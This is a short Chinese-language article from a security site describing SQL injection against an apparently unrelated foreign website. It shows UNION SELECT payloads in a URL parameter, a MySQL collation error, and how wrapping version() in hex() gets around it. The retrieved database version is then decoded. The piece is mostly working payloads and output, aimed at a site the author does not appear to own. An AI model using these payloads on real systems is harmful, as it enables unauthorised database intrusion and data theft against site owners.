安全中国首页 > 文章中心 > 综合注入文章
 
MySQL注射时ErrorNo.1267的突破过程
更新时间:2007-10-23 0:19:01
责任编辑:池天
热 点:
测试个国外的站时:

url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*


返回错误:

Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation ’UNION’

MySQL Error No. 126


看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。

解决办法:转为其他编码如hex。

url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*


成功得到hex(version())的值为:

342E312E332D62657461


回Mysql查询下得到:

mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)

 
相关文章
48小时热门文章
 
一日一软件
48小时热门动画